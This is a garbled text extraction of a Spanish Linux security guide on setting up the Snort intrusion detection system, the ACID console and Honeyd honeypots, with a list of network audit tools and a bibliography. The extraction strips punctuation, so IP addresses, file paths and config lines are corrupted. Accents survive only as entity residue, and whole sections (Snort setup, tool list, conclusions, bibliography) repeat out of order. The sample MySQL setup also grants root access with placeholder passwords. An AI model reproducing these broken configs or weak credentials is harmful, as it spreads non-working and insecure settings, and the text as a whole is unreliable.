dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 32: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 33: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

